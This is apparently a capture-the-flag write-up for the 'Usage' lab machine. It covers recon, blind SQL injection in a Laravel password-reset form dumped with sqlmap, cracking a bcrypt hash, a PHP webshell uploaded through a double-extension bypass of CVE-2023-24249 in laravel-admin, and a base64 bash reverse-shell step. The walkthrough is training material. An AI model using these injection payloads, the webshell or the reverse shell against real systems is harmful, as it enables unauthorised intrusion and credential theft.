Post

Usage

A Laravel blog's password-reset form concatenates the submitted email into a SQL query, so sqlmap dumps the admin's bcrypt hash; the cracked password unlocks an admin panel running a vulnerable encore/laravel-admin, where an extension-only avatar filter is bypassed with a double-extension PHP webshell for remote code execution and the user flag.

Usage

Overview

Usage is an easy-difficulty Linux box running a Laravel blog with a separate admin subdomain. The path to user is a clean web chain: a blind SQL injection in the password-reset form leaks the admin’s password hash, the cracked credential unlocks an admin dashboard, and an outdated encore/laravel-admin avatar upload (CVE-2023-24249) with an extension-only filter is bypassed with a double-extension PHP webshell to land code execution and the user flag. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Clean web chain of blind SQLi (sqlmap), bcrypt crack, and a CVE-2023-24249 double-extension avatar upload RCE; CVE drives the foothold but the realistic misconfigs and cred-reuse carry the box.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu, default
80/tcpnginx 1.18.0redirects to usage.htb
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.18 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.18

The web server redirects to usage.htb, so add it to /etc/hosts. The site’s “Admin” link then redirects to admin.usage.htb — add that vhost too.

1
echo "10.10.11.18 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts

usage.htb serves a blog with login, registration, and a password-reset page. admin.usage.htb is a second, separate login (“Usage Admin”).

Enumeration

Registering an account and logging in lands on an uninteresting blog. The interesting surface is the Reset Password page at /forget-password: submitting a known email returns “We have e-mailed your password reset link”, while an unknown email returns “Email address does not match in our records!”. That differing response is a boolean oracle — the input is being looked up in a database.

Probing with a classic payload confirms injection:

1
test' or 1=1;-- -

The form returns the success message, meaning the single quote terminated the string and the OR 1=1 forced a true result. With the vector confirmed, hand the heavy lifting to sqlmap.

Foothold

1 — Dump the admin hash via SQLi. Intercept the POST /forget-password request (it carries _token and email) and save it as reset.req. The default run finds nothing; --level 3 widens the test set and confirms boolean- and time-based blind injection on email, with MySQL behind it.

1
2
3
sqlmap -r reset.req -p email --batch --level 3 --dbs
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog --tables --threads=10
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog -T admin_users --dump

The non-default usage_blog database holds an admin_users table with a single bcrypt hash for the admin user.

2 — Crack the hash. Save the $2y$10$... hash to a file and run it against rockyou.txt:

1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

It cracks in seconds to whatever1. These credentials are for the separate admin.usage.htb panel.

3 — File-upload RCE (CVE-2023-24249). Logging into admin.usage.htb with admin:whatever1 reveals a dashboard whose Dependencies panel lists encore/laravel-admin 1.8.18 — vulnerable to CVE-2023-24249, an arbitrary file upload in the user-settings avatar field. The filter is extension-only.

Create a webshell and rename it past the image check:

1
2
echo '<?php system($_GET["melo"]); ?>' > shell.php
mv shell.php shell.jpg

A raw shell.php is rejected; shell.jpg uploads fine. To make the server execute it, intercept the POST /admin/auth/setting upload in Burp and change the multipart filename="shell.jpg" to filename="shell.jpg.php". The double extension slips past the filter while the trailing .php ensures execution. The uploaded file is reachable under /uploads/images/:

1
2
curl -s "http://admin.usage.htb/uploads/images/shell.jpg.php?melo=id"
# uid=1000(dash) gid=1000(dash) groups=1000(dash)

Code execution as dash. Upgrade to a reverse shell with a base64-encoded bash payload (listener on your tun0 IP/port), then stabilise:

1
2
3
nc -nlvp 4444
# then via the webshell: echo <base64_bash> | base64 -d | bash
script /dev/null -c bash

User flag

1
2
cat /home/dash/user.txt
# [redacted]

Command execution as dash and the user flag are ours.

Privilege escalation (monit cleartext password reuse to xander, then a sudo 7zip wildcard/symlink file-read of root’s SSH key) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.